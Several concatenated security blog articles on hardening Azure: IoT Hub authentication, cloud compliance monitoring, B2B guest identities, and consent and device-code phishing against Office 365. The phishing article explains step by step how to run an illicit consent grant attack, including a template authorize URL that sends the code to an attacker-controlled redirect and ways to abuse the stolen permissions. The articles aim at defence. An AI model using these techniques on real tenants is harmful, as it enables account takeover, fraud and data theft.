In order to force the use of X.509 certificates to authenticate connected objects, it is possible to prohibit SAS tokens for an IoT Hub. Indeed, Azure IoT Hubs have three properties related to the use or not of SAS tokens: disableLocalAuth, disableDeviceSAS and disableModuleSAS. Therefore, the best practice associated with disabling SAS tokens is to set these three parameters to True. This can be done using the Azure CLI tool:

Checking the values of these same parameters can also be done using the Azure CLI:

In the example response below, the disableDeviceSAS property has been set correctly, but the other two have not.

The Azure portal also allows you to perform this verification:

The choice of authentication method for Azure IoT will depend on the security requirements of your solution. If you need strong security and have the infrastructure to manage certificates, then X.509 certificate authentication is a good option. However, if you are looking for a solution that is simple to manage and use, the SAS token may be more suitable for your needs.

2nd security vector: RBAC and alerts

The assignment of roles on your Azure IoT infrastructure must be thoughtful and defined according to the needs of the users. A precise definition of roles and permissions makes it possible to limit access to resources and to the various functionalities available on the platform. The various Azure IoT services provide a multitude of pre-configured roles that can be adapted to your needs and your organisation. Secondly, applying the principle of least privilege, and limiting the number of accounts with important privileges, allows you to improve the security level of your Azure IoT infrastructure.

Azure CLI allows you to list the users with rights to the desired Azure IoT resource and their associated roles. The following command allows you to perform this action

It is possible to use string selectors (Select-String for PowerShell, grep for Bash) to retrieve only the desired information.

In the example below, names, types and roles were the only items retrieved using Select-String:

The Azure built-in roles feature is available on this page.

Configuring alerts based on the metrics of your Azure IoT services is another tool to consider. Alerts can be configured to detect suspicious behaviour or anomalies, allowing for rapid investigation of your infrastructure. Azure provides its customers with a large collection of signals to define alert conditions. It is also possible to define custom alert signals via the query language used by Azure Log Analytics.

The Azure Portal is the easiest way to set up alerts based on the data collected by the IoT Hub. For example, to define a log alert rule, you need to:

1. Go to the management page of the desired IoT Hub;
2. Go to the Logs sub-category of the Monitoring category;
3. Choose a rule using the Azure Log Analytics language;
4. Add an alert rule related to this query;
5. Choose the operator, unit, threshold value, check recurrence and time period for the rule

These actions are summarised in the screenshots below:

It will then be sufficient to choose an action group linked to a type of action (sending an email, SMS, etc.).

The example given will lead to an action if the number of failed connections of connected objects to the IoT Hub concerned exceeds 10 failures in 10 minutes or less.

A detailed guide in the form of a tutorial is available on the Azure documentation. Note that this service is available at an additional cost.

3rd vector of security: the service itself

Finally, setting up proper configuration of Azure IoT services is a key element in improving the platform’s cyber maturity level. This includes options such as routing rules or setting the minimum version of TLS used by devices to connect to Azure IoT Hub.

Routing rules are used to redirect messages from IoT devices to an endpoint (storage, services, database, etc.) and are configurable by routing requests. It is recommended to filter incoming messages, via routing requests, to increase the security of your IoT solution.

Checking the minimum TLS version accepted can be done using the Azure CLI: indeed, an IoT Hub has the minTlsVersion attribute to check this property. This check is performed using the following command:

Si cette commande ne retourne rien, ou retourne une valeur inférieure à 1.2, alors la configuration n’est pas satisfaisante.

Le portail d’Azure permet également d’effectuer cette vérification

If this command returns nothing, or returns a value less than 1.2, then the configuration is not satisfactory.

The Azure portal also allows you to perform this check:

En synthèse

Security is a major issue for IoT projects: Microsoft, with its Azure IoT product, provides an IoT platform that meets the majority of IoT needs in a secure manner, provided that it is configured correctly. In this article, we have discussed recommendations for improving the security of your Azure IoT infrastructure.

It is important to keep in mind that other attack vectors exist, such as hardware and software vulnerabilities and the networks used by IoT devices.  Securing an IoT infrastructure is a complex challenge that requires an end-to-end approach.

With the help of Marius ANDRE

[1] “Magic Quadrant for Global Industrial IoT Platforms”

https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&ct=221116&st=sb

[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”

https://www.rfc-editor.org/rfc/rfc5280

Cet article Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT est apparu en premier sur RiskInsight.

Phishing attacks are well known. The objective of this type of attack is to perform actions from a victim’s account or to retrieve information about the targeted person or company.

Despite their notoriety, they remain very effective for attackers. Indeed, among the attacks investigated by Wavestone CERT, about 51% of them start with the use of valid accounts, which includes phishing attacks.

We are all vulnerable to phishing attacks! An attacker with enough resources and information about their target can generate a trap sophisticated enough to trick them. Similarly, the Office365 and Azure product suites have features that can be exploited in less conventional attacks, the impacts of which users may not be aware.

Employee awareness, while necessary to address the most common threats, is not enough to address some of the more targeted or less traditional types of attacks. Tougher access requirements to cloud-hosted resources, good hygiene in managing access rights, and detection of unusual and suspicious access are all critical to a company’s defence strategy.

Attackers have a wide range of tools and possibilities to access documents stored on a company’s SharePoint, attempt to retrieve sensitive emails, or retrieve employee information. The traditional phishing attack as well as the device code authentication attack will be briefly explained below before looking at the illicit consent grant attacks in more detail.

The traditional phishing attack: a known threat preventable using multi-factor authentication

Traditional phishing attacks are usually based on sending a link directing the targeted victims to a site the attacker controls. Using an authentication login page similar to those used by employees of the targeted company, the attacker retrieves the credentials and passwords of the tricked users.

The traditional phishing attack is simple to implement in the absence of multi-factor authentication

The ease of implementing such an attack on a large scale makes it a tool of choice for untargeted attacks. One method to protect against this type of attack is to enforce the use of a second authentication factor.

It should be noted however that although more complex to implement, the interception of the second authentication factor is technically feasible and will be the subject of an upcoming dedicated article.

The attack via “device code” authentication: a little-known authentication method hijacked by attackers

This attack relies on the device authorization grant functionality[1]. This authentication method allows the authentication of a user on a device without a web browser. A code displayed on this device must then be entered on a computer or smartphone via the dedicated Microsoft site. This device will then have part of the access rights to Office 365 resources corresponding to the user who entered the code.

This functionality is not well known to users and can be exploited by an attacker for malicious purposes:

• The attacker first generates a device code, using the same process used by devices without a web browser.
• Then, the attacker’s objective will be to get the victim to fill in his device code on the https://microsoft.com/devicelogin For example, the attacker could pretend that to access a sensitive document, it is necessary to connect to this link using the code he generated.
• If the target accesses the link, fills in the code and authenticates, this will allow the attacker to impersonate the

Example of a device code phishing attack

This attack is more difficult for an attacker to carry out because of the short lifespan of the device codes: they are only valid for 15 minutes and must therefore be generated shortly before the user enters them. This attack is therefore more easily carried out within the framework of “phoning” attacks or phishing via Teams. For example, the attacker could call the victim, pretending to be part of the company’s IT support team, and ask the user to authenticate on the link indicated and fill in the code of his choice.

To protect against this type of attack, conditional access policies on Azure can be used to prohibit suspicious connections from devices not under the control of the company.

Illicit consent grant attack

In addition to these two methods, the illicit consent grant attack also allows an attacker to illegitimately gain access to an Azure environment. This attack was even initially easier for an attacker to implement than attacks via device code authentication. Faced with the resurgence of this threat, actions were taken in 2020 by Microsoft to limit the conditions for carrying out the attack. While hardened Azure configurations can completely block this threat, the configurations implemented by some companies expose them to this type of attack. What are the prerequisites for the realization of such an attack, what are the possible consequences and how to protect yourself?

What is the illicit consent grant attack?

To understand the principle of this attack, let’s put ourselves in the shoes of an employee who is a victim of such an attack:

• The victim receives a phishing email indicating an urgent action to be taken to keep their Microsoft account activated. Employees are made aware not to click on phishing links and not to enter their passwords on unknown platforms. The link in the format https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<CLIENT_ID>&redirect_uri=<Attacker_controled_URL>&response_type=code&response_mode=query&scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read contains a Microsoft-associated domain, which reassures the victim.
• When clicking on the link, the victim must authenticate themself. This authentication is often automatic since it benefits from Microsoft’s single sign-on (SSO). The victim then receives a request to grant permissions:

The malicious application asks the user to grant it permissions

• If the victim clicks “Cancel” out of caution, they are redirected to the attacker’s server with a URL like <Attacker_controled_URL>/?error=consent_required &error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#. The attacker, understanding that the victim has not accepted the prompt to grant them permissions, can then redirect the victim to the phishing page, giving them the impression that the requested permissions must be accepted to proceed to the next step.
• Because of the legitimate domain name and the urgency indicated in the phishing email, the victim of the attack chooses to accept. They then see a message indicating that their account will be kept activated, as suggested in the initial email. The victim then resumes normal activity.

However, this consent allows the attacker to perform actions on behalf of the victim, depending on the permissions granted. Note that the illicit consent grant attack has many advantages for an attacker, including:

• The use of a Microsoft-associated URL when requesting consent, which is considered trusted and therefore implies less distrust on the part of targeted users.
• Obtaining persistent access for 90 days, without knowledge of the user’s password or second authentication factor if no conditional access policy is implemented.
• The ability to directly request Microsoft APIs to automatically retrieve files, emails, and other corporate resources accessible by the tricked user.

Technical sidebar

From a technical point of view, the illicit consent grant attack relies on the ability of an attacker to create an application that requires permission to be granted. Granting the permission is a feature that is regularly used by users without them realizing it, e.g., the Outlook client is allowed by default to retrieve and notify them of new incoming emails.

Here are the key steps when performing this type of attack (which is based on the authorization code grant flow of OAuth 2.0):

• The attacker creates an enterprise application on Azure AD (application registration), configures the permissions they want from users and instantiates a “client_secret” on the application. Some constraints related to this application are detailed below.
• The attacker sets up a server to which users will be redirected following the consent and indication of its URL as a valid redirection URL for the application.
• Following a user’s consent, the user will be redirected to the malicious site and a code will be provided to the attacker. This code is the proof to be shown to Microsoft that the user authorizes the application to do actions on their behalf.
• Using this code and the application’s “client_secret“, the attacker will be able to retrieve an OAuth token. This token is a receipt signed by Microsoft that specifies the actions that the victim authorizes to be done on his behalf. The attacker can also retrieve a “refresh_token” that allows to renewal of the validity of the OAuth token.
• This OAuth token can then be used to send requests to the Graph API in the name of the victim and therefore allows attackers to impersonate the user.

What are the consequences of such an attack?

While some permissions require administrator approval by default, other permissions can be granted directly by users in non-hardened Azure environments. The permissions that can be recovered by the attacker during this type of attack depend on the configuration of the targeted Azure AD tenant.

Here are some examples of possible abuse by an attacker who has managed to retrieve a user’s permissions on a non-hardened environment.

Actions that can be taken following a successful malicious consent attack on an unhardened Azure environment

• Azure Active Directory:
  • The Microsoft Graph User.ReadBasic.All permission allows retrieval of the email addresses of all users in a tenant, allowing the deployment of larger-scale phishing attacks from an initial compromise.
• Outlook:
  • Sending an email on behalf of a user can enable so-called “president fraud” attacks using the Microsoft Graph Mail.Send and Mail.ReadWrite permissions. A compromised employee with a high level of authority could, for example, send an email requesting that a large amount of money be sent urgently to a bank account not listed by the company.
  • Sent emails can also be hidden using Outlook filtering rules that can be modified using the MailboxSettings.ReadWrite permission. The attacker will then be able to redirect all emails related to his attack and associated replies to a different folder in the outbox and inbox.
• Teams:
  • Reading and sending messages via Teams (Microsoft Graph Chat.ReadWrite) is an effective method for an attacker to impersonate a user. This method can also be used to carry out “president fraud” attacks.
• OneDrive and SharePoint:
  • Read access to files accessible on OneDrive and SharePoint (Microsoft Graph Files.Read.All) can provide access to all files accessible by the user. In addition, SharePoint files are often stored with permissive access rights which could allow attackers to retrieve a large number of files. It is not uncommon, for example, to have access to scripts or configuration files containing passwords in clear text.
  • In addition, SharePoint’s search capabilities, including reading and indexing the content of Office files, can be used to target certain keywords such as “password”.
  • The writing rights on a SharePoint file (Microsoft Graph Files.ReadWrite.All) can also have a significant impact: SharePoint’s versioning features limit the recording of old file versions to 100 versions by default. This means that in case of automated and successive rewrites more than 100 times, the initial version of the file would no longer be recoverable. This would allow an attacker to erase a large amount of data if an account with write rights to sensitive files is compromised. In case of deletion, it would then be necessary to contact Microsoft support to try to recover the data from the daily cold backups.
• OneNote:
  • Synchronized OneNote files (Microsoft Graph Notes.ReadWrite or Notes.Read.All) can contain sensitive information such as meeting minutes, and confidential information, but also technical information such as passwords stored in an unsecured manner.
• Azure Resources:
  • Access to key vaults and storage accounts (Azure Key Vault and Azure Storage user_impersonation) can give access to sensitive elements in case of compromise of developer or technical user accounts. These elements can facilitate the compromise of Azure resources such as virtual machines and serve as a rebound point for an external attacker.

These actions can have serious impacts on a company. In addition, they can facilitate more elaborate attacks by disclosing sensitive information to an external attacker.

If approved by an administrator, more sensitive permissions can be retrieved such as write access to all Azure Active Directory information.

Finally, administrators have the right to grant all users permission to an application of the tenant. In this case, the identity of all users could be impersonated to grant permission.

Microsoft’s implementation of the “risk-based consent step-up” to limit attacks by illicit consent

In response to this threat, Microsoft implemented additional protections in November 2020 to limit the impact of this type of attack. The “risk-based consent step-up” feature aims to raise a warning and ask for an administrator’s validation in case of a permission request that seems fraudulent.

The access request from an unverified application considered sensitive is blocked by default

This applies in the case of a permission request by an unverified application created outside the targeted tenant. By default, all permissions are affected, except for reading the target user’s profile, to facilitate single sign-on (SSO) with third-party applications.

This restriction is implemented by default on all Azure tenants.

Although these restrictions limit attacks, 3 types of applications can still be used for malicious purposes: legacy applications, applications internal to the targeted tenant and verified applications.

• Legacy applications:
  • To allow for backward compatibility, no warning message is displayed for a permission request from an application created before November 2020.
  • Prerequisite for the attacker: have an application created on an Azure tenant before November 2020 or compromise a tenant containing such applications.
• Internal applications of the targeted tenant:
  • These applications are not covered by the “risk-based consent step-up”. By default, all users of an Azure tenant have the right to create an enterprise application on their tenant, which makes it easier to attack an unhardened environment.
  • Prerequisites for the attacker: to have a first compromised account on the IS of the targeted company, to realize that the creation of applications is authorized for standard users and to deploy an internal application to the tenant.
• Verified applications:
  • Verified applications are not covered by the risk-based consent step-up. The Microsoft verification process requires integration into the Microsoft Partner Network.
  • Prerequisite for the attacker: have a verified application or compromise an Azure tenant with verified applications and hijack the use of these legitimate applications.

Possible remediations

To limit the probability and impact of such attacks, the following recommendations can be applied and adapted to the company’s context:

• Allow only applications explicitly approved by administrators. This configuration is the most secure, but the validation step can be a bottleneck since it is usually the Global Administrators and Privileged Role Administrators who must give validation. In practice, some rights can also be granted via Cloud Application Administrators or Application Administrators.

Granting privilege consent by standard users can be blocked via Azure AD configurations

• Limit the permissions which can be granted. An administrator can specify Low-risk permissions that can be granted directly by users.

Granting privilege consent by standard users can be limited to rights considered non-sensitive via Azure AD configurations

• Create a legitimate application validation process and admin consent workflow to track and justify these validations. By tightening up the consent process, it is necessary to jointly implement a simple and intuitive way for users to request exceptions to grant permissions related to legitimate use cases. These exceptions must be tracked and justified to ensure the legitimacy of the requests.
• Regularly review the rights granted to applications (Enterprise applications): permissions granted by users should be reviewed to ensure that only legitimate applications have rights to the tenant’s Office 365 resources.

Regular review of trusted applications on an Azure tenant facilitates checking that the privileges granted are still valid

• Monitor suspicious access to Office 365 resources. For example, it is possible to set up alert rules on the number of files downloaded over a short period of time to identify data exfiltration attempts.
• Limit access rights to SharePoint files to what is strictly necessary: files that are accessible to all users within a company should be checked at regular intervals and access rights to the most sensitive files should be reviewed to ensure that only the necessary people have access.

Conclusion

The various phishing attacks presented in this article are based on a lack of hardening of Azure AD configurations. The implementation of a second authentication factor, while necessary for traditional phishing attacks, is not sufficient to protect against the other attacks presented. For attacks via device code authentication, administrators can implement conditional access policies to limit suspicious connections from devices not under the control of the organization. For illicit consent grant attacks, the most effective measure is to only allow applications approved by administrators.

These three elements of hardening, although simple in appearance, can be the subject of real security projects to consider the existing configurations and usages, in particular by ensuring that existing applications are not blocked by these measures, and by implementing regular review and validation processes for new applications.

Bibliography

https://aadinternals.com/post/phishing/

https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/

https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/

https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview

https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview

https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent

https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/

[1] https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code

Cet article Illicit consent grant attacks targeting Azure and Office 365: still a threat? est apparu en premier sur RiskInsight.

Misconfigurations in cloud environments are still a source of major incidents and will keep on reoccurring endlessly. With the news continuously providing new examples:  leakage of 1 billion citizens’ data linked to a key leak, phishing campaign using a Kaspersky AWS key, misconfiguration of a NoSQL database, 3TB of sensitive airport data…

The objective of this article is to illustrate how to anticipate a scenario by implementing a Control Tower, or a tool for continuous supervision of the configuration of Cloud resources.

To begin with, a little theory about logs

Cloud logs can be divided into 3 categories:

• System logs: They are generated by the OS and applications hosted in IaaS/CaaS mode. The stakes are not different from a classic on premise IS, but only the architecture of logs collection can be adapted.

• Security infrastructure admin logs: Includes the logs of the security appliances, but also of the PaaS security services used by the customer and the logs of the network flows. For the appliances, there are no new changes here either, it is the same component already in use and well known. However, for security PaaS services and network logs, it is necessary to implement a specific integration and adapt the detection scenarios.
• Cloud Infra API logs: During each API call to create, modify or delete a resource, the Cloud Service Provider will generate a log.

These logs are accessible in dedicated managed services such as AWS CloudTrail, AWS config or Azure activity log:

The time taken to make the logs available will depend on the SLA of the CSP, but they are generally available within 15 minutes after the operation has been carried out.

Exploiting these logs will enable you to move from a manual and static compliance to an automatic and continuous compliance:

What are the technical options for building a Control Tower?

There are three main options for a customer to implement a control tower:

• Native (built-in)
• Custom native
• Cloud Security Posture Management (CSPM)

Native (built-in)

In the first case, the tools activated by the Cloud Service Provider are default, sometimes free of charge, using predefined alerts to assess the compliance of your environments and deliver using a security score.

For example, Trusted Advisor on AWS or Microsoft Defender for Cloud on Azure.           

These native and non-customized solutions make it possible to initiate a control tower, but they are limited as they are a generic response to specific problems.

Custom native

Cloud providers provide many services that allow customers to build a compliance tool for their infrastructure. The CSP tools available are customised to create specific compliance alerts and custom dashboards/KPIs.

In this option, it is necessary to allocate 10-to-40-man days to the project, in order to implement the monitoring infrastructure, define the first alerts and build the dashboards.

The use of several tenants, organizations or Clouds will require a specific architecture to be defined as there is no turnkey solution.

CSPM : Cloud Security Posture Management

Wavestone sees a booming market within CSPM where, Marketsandmarkets estimates that the CSPM market will more than double between 2022 and 2027 from $4.2 billion to $8.6 billion.

CSPMs natively support numerous Cloud providers and provide their customers with numerous dashboards based on the major market repositories. Customers can also easily define their own standards, policies and alerts.

The deployment of this type of tool is very simple, within few days it can be accessible to the customer.

The recurring costs may however be significant: typically 3 – 5% of the Cloud bill in addition to the Cloud services to be activated (similar to the native and custom services option).

Detection speed will also be slightly slower as the CSPM SLA adds to the CSP log generation SLA, typically 20 minutes – 1 hour detection time.

What should my Control Tower monitor?

The major problem customers face when implementing a CSPM with proposed alert activation, is the generation of tens or even hundreds of thousands of high criticality alerts to process. Teams don’t know where to start and are often feel discouraged. Care must be taken not to overload the security teams!

For the implementation of a control tower on a production Cloud IS, we recommend deploying security controls in waves of 10 – 15 at a time. To do this, you need to prioritise the most important topics. Below is an example of prioritisation:

Unfortunately, every rule has its exceptions! Mainly linked to the existing Cloud, specific architectures or technical constraints, it is therefore essential to foresee this situation and the associated governance at the design stage:

• Validation: by the local CISO and/or the global CISO
• Expiration
• Review: decentralised (locally or during annual global audits) or centralised (through continuous global monitoring)

Using tags for cloud resources is currently, the easiest way to do this, however, be aware that some resources may not be compatible such as IAM services.

No matter which model is chosen, the issues to be addressed remain mainly the same:

• Ensuring the legitimate use and application of exceptions
• Define specific indicators on exceptions for subjects at risk from Top Management
• Set up regular exception monitoring campaigns
• Alerting and dealing with when an exception expires

How to implement an effective remediation process?

The implementation of a control tower will generate numerous alerts, which will have to be corrected. The three options possible are listed below: 

Deny

Why remediate when you can simply block non-compliant resources preventively?

With Azure Policy or AWS SCP, it is natively possible to block certain configurations and thus avoid generating new alerts.

For use cases that are not covered, it is possible to set up checks on deployment templates in the CI/CD chains (this nevertheless requires a high level of maturity).

Deploying a deny mechanism on existing environments is rarely implemented as the risk of generating dissatisfaction among development teams is too high:

• Existing non-compliant resources can no longer be modified
• It will generate an additional burden on the development teams because habits must be changed
• …

Automatic remediation

Here, the aim is to correct deviant configurations directly and automatically but beware of side effects!

To do this, it is possible to use the cloud provider’s native services (Azure policy or AWS SSM Manager) or to develop functions for unsupported cases (AWS Lambda, Azure Function or Azure LogicApps).

Manual

Unfortunately, this is the most common solution, but also the most expensive in terms of human resources. Deviating configurations are remediated manually by the teams.

To guarantee the success of a manual remediation, it is necessary to have strong support from top management to ensure the adhesion and motivation of the teams.

The implementation of a Cloud OWSAP type dashboard highlighting the priorities of the moment is a good solution, allowing each person to take responsibility for their area. Each of the subjects mentioned opposite can have one or more indicators.

However, having the support of management is not sufficient, it is necessary to know the person responsible for the resource in order to ask  them to make the changes. In a large international group this is not easy. Our recommendation is to appoint at least one security officer per account/subscription who should have detailed knowledge of the applications and the people responsible for the resources.

In parallel, it is necessary to implement an effective training and awareness programme. In order to minimise the number of alerts and avoid filling the bathtub faster than it empties, the development teams must be fully aware of the security requirements in the cloud.

To begin the remediation process, our advice is to start centrally with an ample sized team in charge of implementing the control tower, but also in charge of mobilising and training local relays, enabling local teams to monitor and manage compliance on their own.

Compliance alert or security alert?

Most companies consider that monitoring the compliance of their cloud resources is not a responsibility of the SOC teams. But the boundary is not so easy to define, especially given the number of security incidents in the cloud that stem from configuration errors: public exposure of a storage resource containing critical data, unconfigured MFA on an admin account, or RDP or SSH exposed on the internet.

Generating a security alert to the SOC will leverage existing processes and tools for 24/7 handling even if the SOC resources are not cloud experts.

And finally, this will be a good opportunity to bring Cloud security and SOC teams together to improve security supervision by adapting it to the reality of the cloud.

Cet article Compliance in the Cloud, a new Paradigm est apparu en premier sur RiskInsight.

The need for collaboration externally entails risks for companies

Companies have always needed to collaborate with each other by sharing resources and exchanging data. To do this, their collaborators must be able to interact securely with users outside their environment.

Several use cases can be applied, including time-bound collaboration with partners, external service providers, suppliers or B2B customers.

Additionally, it is common to observe continuous collaboration between subsidiaries of the same group that have access to the resources and data of the company whilst not necessarily requiring to share the same Information Systems.

Historically, collaboration could be achieved in several ways. However, collaboration also comes with certain disadvantages:

• By successive exchange of emails – which can be inefficient and can result in a loss of control of the data exchanged;
• By using solutions dedicated to share documents with third parties – which can be costly and unsuitable from a user experience point of view;
• By creating a new identity in legacy systems (Active Directory, etc.), and by providing third-party entities with a means to access the company’s IS (VPN, virtual machines, physical machines, etc.) – which can significantly increase the company’s attack surface.

Microsoft introduced Azure AD B2B to address the need for collaboration

Today, using Azure AD B2B allows two or more entities to collaborate within the host company’s Azure tenant.  Shared resources can be apps, documents, SharePoint sites, OneDrive, or Teams teams.

In effect, the Azure B2B solution allows an external user to access the host company tenant through their regular account by creating a “guest” identity within the company’s Azure Active Directory (AAD).

The “client” tenant then fully or partially trusts the “external” tenant for authentication via a token exchange mechanism.

There are three native possibilities for creating a “guest” identity:

• Directly from the Azure portal;
• Via document sharing on OneDrive/SharePoint/Teams;
• Through the use of the GRAPH API.

Figure 1 – Native Operation: Authentication and Identity Creation

At the level of the host tenant, the owner can choose to authorize the sharing of data to external users while also being able to administer guest accounts (creation, deactivation, deletion etc.).

A direct benefit of this solution is the ease of use for users who are familiar with Microsoft environments.

The second advantage is the cost of the solution. A “guest” identity has a licensing cost whereby up to a ceiling of 50,000 “guest” identities, their license is free. Beyond this and depending on the company’s subscriptions, a license may cost between €0.003 and €0.015 / month / user, which is then added on to a fixed fee of €0.029 for each multi-factor authentication attempt. This pricing policy is out of step with the usual price of an M365 license, which is between €10 and €50 / month / user depending on the license plan.

However, Azure AD B2B has a default configuration that is too open, which creates risks for the company

Azure AD B2B introduces several factors that can lead to risk:

• The creation of guest identities is very simple and uncontrolled (no identity manager, no traceability, no restrictions etc.);
• The number of guest identities may increase in an uncontrolled manner, which makes managing their lifecycles difficult.
• The company does not control the security of the initial holder of the “guest” identity;
• No conditional access rules are set up by default (no strong authentication, no restriction of access to the Azure A D portal, etc.);
• The “guest” identity has access to the Azure AD attributes of other users.

These factors create risks for the company’s data since the “guest” identity may have rights to a significant number of documents and information about its host owner.

We can consider two triggering events for the different threat scenarios:

• A malicious “guest” identity;
• A “guest” identity compromised by an attacker.

An attacker would then have the opportunity to:

• Retrieve confidential data that the identity has access to;
• Destroy all data accessible by this identity;
• Compromise AD by assigning roles to this identity;
• Perform social engineering through their access to all user data.

Depending on the level of maturity of the company and the willingness to hedge risk, it is necessary to implement a number of measures

To get started: harden the default configuration

Master the means to add “guest” identities on the tenant

The first step is to cut off access to the Azure portal to non-administrator employees of the company so that it is no longer a vector for creating “invited” identities.

Figure 2 – Restricting access to the Azure AD console

It should be noted that it is also possible to restrict the population who can invite external users to collaborate. However, this will not be applicable to all companies – especially those wishing to decentralize the management of this population. The idea of restricting this population forces the creation of a service dedicated to the creation of these identities. This goes against the very principle of this service, which is to leave it in the hands of the user.

Finally, there is a feature to apply constraints to the email addresses of “guest” identities, via white-listing or domain name blacklisting. However, before embarking on this action, it is necessary to consider the complexity of its implementation and the potential low level of associated risk reduction.

Restrict what these identities can access

It is also possible to restrict what can be accessed by the invited identities, so that they are unable to retrieve a large volume of information on the host tenant.

Figure 3 – Restrict access for “guest” identities

Strengthen authentication and access control of “guest” identities

The multi-factor authentication (MFA) mechanism for a “guest” identity is almost native and reduces the risk of spoofing by an attacker. It is also possible to set up a conditional access policy that specifically targets these “guest” identities.

Figure 4 – Multi-Factor Authentication

However, challenges can still complicate this operation and need to be considered:

• Managing change management on these “guest” populations remains complex to perform, even if user onboarding operations are simple and carefully guided.
• Managing second-factor reset processes in the event of loss or theft can be costly and complex if left unchecked.

Educate users about risks and best collaboration practices

The major complexity of the Azure AD B2B solution is the lack of a mechanism for managing “guest” identities. Users are therefore the main actors of the management strategy and must be informed at the right level by emphasizing:

• Collaboration best practices: when should they use the solution, how to create a guest, and more;
• Proper management of their access: they must be removed as soon as possible in order to avoid subsequent illegitimate access;
• Disabling identities when they are no longer in use, especially for service providers/partners, ensuring that the documents produced are not lost.

Protect the data that guests can access

We must also not forget to protect the data to which a legitimate guest can have access to, which gives rise to several measures:

• It is possible to set up constraints for “guest” identities via conditional access rules that include: mandatory use of thin clients (web clients), the prohibition of data downloading, constraints on the terminals to be used, etc.
• If the company has deployed the Azure Identity Protection (AIP) classification tool, an alternate solution is to create a privacy label that encrypts the data for “guest” identities. This label can also be used to restrict certain actions for this population: modification restriction (via associated permissions), download restriction (via a DLP rule), etc.

Moving a step further, a Cloud Access Security Broker (such as Microsoft’s MS Defender for Cloud Apps) can enable the implementation of advanced and targeted rules, such as preventing uploads to specific Sharepoint spaces as an example.

Managing the Lifecycle of Guest Identities: 3 Scenarios to Consider

As mentioned earlier, the key topic is managing the lifecycle of “guest” identities i.e., the creation, deletion, and review of access. As such, there are 3 scenarios to be considered. These scenarios depend on the desired risk coverage, the level of maturity of identity and access management, and the cost of implementing the scenario.

Figure 5 – Guest Identity Lifecycle Management Scenarios

Scenario 1 – Stay pragmatic on a budget: use native tools and configurations

In this scenario, the company creates a certain group typology for “External” groups, and therefore to the creation of guests. The distinction can be made by the use of language by the group. For example: all external groups must start with “X_”.

It can thus carry out checks more easily on this limited perimeter of groups.

The main prerequisite is to block the addition of “guest” identities to “Internal” groups. This is possible in two ways:

• If the company has deployed the AIP classification tool on SharePoint and Teams spaces: a dedicated label can be used to prevent external sharing on these spaces. For example, the creation of an “Indull” label that blocks sharing with “guest” identities;  – LINK
• Via a PowerShell script: block sharing with “guest” identities for “Internal” groups by identifying them via classifications. – LINK

Creating a “guest” identity

The only way to create a “guest” identity is to add them as external users to “External” group types.

If the company needs to give its tenant access to a subsidiary or an entire entity, it is possible to regularly synchronize their AD or Azure AD, and thus create their identities as a “guest” in the tenant of the company.

Deleting a “guest” identity

The process of deleting identities is simple through the deletion of inactive “guest” identities. For example, using a PowerShell script based on the frequency of “Sign-In Activity”. Alternatively, it is also possible to remove “guest” identities that do not have access to any group via a PowerShell script.

Review of “guest” access

It is possible to expire access for “guest” identities on SharePoint groups or OneDrives after 60 days. Note that the owner of the SharePoint or OneDrive group will be notified of the expiration 21 days beforehand.

Figure 6 – Guest Access Expiration

Finally, it is possible to use the “Guest Access Review” feature for external groups. It should be noted, however, that this feature requires advanced licenses (AAD P2) assigned to the users who carry out the reviews i.e. all the owners of the groups (normally a small number).

This scenario is an efficient way that reduces guest risk, maintains a near-native solution, and doesn’t require too much investment.

Scenario 2 – To go further in the level of security: develop a guest management application

In this second scenario, the company wants to have complete control over the lifecycle management of “guest” identities. To do this, the company creates an application (for example by using Power App) to manage this lifecycle, making it the single point of creation and deletion.

Once this lifecycle is in place, it is necessary to set the SharePoint sharing setting to “Existing guest only” mode, allowing only content to be shared with “guest” identities that already exist in the Azure AD tenant. This prevents the creation of new identities through this vector.

Figure 7 – Restricting Sharing Opportunities

Creating a “guest” identity

In this scenario, users use the dedicated application to create the “guest” identities by entering an end date. The user then designates the owner of the identity created.

Deleting an “invite” identity

To delete identities, it is possible to trigger an automatic workflow before the end date by asking the owner of the identity in question whether to delete it or extend its end date. It should be noted that if the owner has left the company without making the change of ownership, consideration can be given to reassigning the guest to his or her supervisor.

Review of “guest” access

With this type of “in-house” application, it is complicated to go much further in the management of the lifecycle – especially when it comes to access review.

It is still possible, as in Scenario 1, to expire guest access or to use the “Guest Access review” feature (with the same constraints as stated above).

To go further, we can also consider the use of third-party tools such as IDECSI or Sharegate that make it possible to manage these access journals automatically and intuitively.

This scenario changes the native behavior and enables better control of the lifecycle, but at a significant blow with regard to the deployment and the management of the change to be implemented.

Scenario 2′ – Integrating “guest” identities into traditional IAM processes

The last scenario to consider is a variant of the previous scenario, where the company still wants to have control over the lifecycle management of “guest” identities. In this case, the company can integrate “guest” identity management into its identity and access management (IAM) tools in the same way as “external” identities.

The IAM tool then becomes the authoritarian source for this type of population and its management is done directly there.

In this scenario, as in the previous one, you must also set the SharePoint sharing setting to “Existing guest only” mode.

Creating a “guest” identity

Identities are created on external creation forms from IAM tools by choosing the “guest” type for the identity. The “guest” identity can then be provisioned automatically in the Azure AD by IAM tools.

Deleting a “guest” identity

The removal of the identity is also done by the IAM tool according to the positioned end date and the workflows already defined.

Reviews of “guest” access

In the event that the company’s IAM tools are used to manage rights on Sharepoint spaces, it is possible to use the access review capabilities of these tools to review access to sensitive resources for which “guest” identities have access.

Alternatively, a second option is to use access governance features via IAM solutions, such as Sailpoint OneIdentity, or via dedicated Identity and Access Governance solutions, such as Brainwave or Varonis. We can imagine retrieving the rights assigned directly in the Azure AD and having them verified to the owners of the resources through these tools.

